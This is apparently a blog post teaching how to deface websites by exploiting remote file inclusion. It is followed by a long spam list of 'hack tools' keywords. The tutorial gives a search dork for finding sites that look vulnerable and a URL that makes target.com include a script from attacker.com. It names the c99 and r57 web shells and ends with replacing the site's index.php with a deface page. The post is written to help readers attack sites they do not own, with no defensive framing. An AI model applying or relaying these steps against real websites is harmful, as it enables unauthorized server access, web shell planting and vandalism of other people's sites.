HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Continue reading


  1. Hacker Tools Hardware
  2. Hack Tools
  3. Pentest Tools For Android
  4. Hack Tools For Windows
  5. Hacker Tools
  6. Pentest Tools Website Vulnerability
  7. Hacking App
  8. Underground Hacker Sites
  9. Top Pentest Tools
  10. Hacking Tools Software
  11. Pentest Tools Find Subdomains
  12. Termux Hacking Tools 2019
  13. Pentest Tools Kali Linux
  14. Hacks And Tools
  15. Hack Tools Download
  16. Pentest Tools Framework
  17. Hack Tools For Windows
  18. Pentest Tools Github
  19. Hacking Tools Pc
  20. Hack Tools For Pc
  21. Hack Tool Apk No Root
  22. Hackers Toolbox
  23. Pentest Tools Subdomain
  24. Hacker Tools Mac
  25. Nsa Hack Tools Download
  26. Pentest Tools Url Fuzzer
  27. Hack Tools
  28. Physical Pentest Tools
  29. Hacking Tools Hardware
  30. Pentest Tools
  31. Pentest Tools Website Vulnerability
  32. Hack Tools
  33. Best Hacking Tools 2019
  34. Hacking Tools Github
  35. Pentest Tools Review
  36. Hack Tools 2019
  37. Best Pentesting Tools 2018
  38. Hack Tools 2019
  39. Hacking Tools Mac
  40. Hacker Tools Github
  41. Hack Tools Download
  42. Hacker Tools Free
  43. Hacker Tools Hardware
  44. Pentest Box Tools Download
  45. Pentest Tools Open Source
  46. Hacking Tools Windows 10
  47. Hacker Tools 2020
  48. Nsa Hack Tools Download
  49. Hack And Tools
  50. Pentest Tools Windows
  51. Tools For Hacker
  52. Hack Tools Github
  53. Pentest Tools Android
  54. Kik Hack Tools
  55. Tools For Hacker
  56. How To Hack
  57. Blackhat Hacker Tools
  58. Hacker Tools Mac
  59. How To Make Hacking Tools
  60. Hack Tools For Games
  61. Pentest Tools Bluekeep
  62. Blackhat Hacker Tools
  63. Pentest Tools For Ubuntu
  64. Pentest Reporting Tools
  65. Hacking Tools For Windows 7
  66. Hacker Tool Kit
  67. Hack Tools For Mac
  68. Hacking Tools For Beginners
  69. Nsa Hacker Tools
  70. Pentest Tools For Mac
  71. Hacker Tools Hardware
  72. New Hack Tools
  73. Hacking App
  74. New Hacker Tools
  75. Kik Hack Tools
  76. Hacking Tools
  77. Pentest Tools Website Vulnerability
  78. Pentest Tools Framework
  79. Hack And Tools
  80. Game Hacking
  81. Hacker Tools Mac
  82. Hack And Tools
  83. Best Pentesting Tools 2018
  84. Tools Used For Hacking
  85. Hacking Tools Hardware
  86. Pentest Tools Kali Linux
  87. Hack Tools
  88. Pentest Tools For Windows
  89. Hacker Security Tools
  90. Pentest Tools For Windows
  91. Hack Tools Download
  92. Pentest Tools Apk
  93. Pentest Tools For Windows
  94. Pentest Tools List
  95. World No 1 Hacker Software
  96. Hack Tools For Games
  97. Hacking Tools Github
  98. Hack Tools Pc
  99. Hacker
  100. Hacker Tools Hardware
  101. Best Pentesting Tools 2018
  102. Growth Hacker Tools
  103. Pentest Reporting Tools
  104. Hacker Tools Apk
  105. Kik Hack Tools
  106. Hack App
  107. Hacker Tools Online
  108. Hacker Security Tools
  109. Hacker Tools For Ios

No comments:

Post a Comment

Blog Archive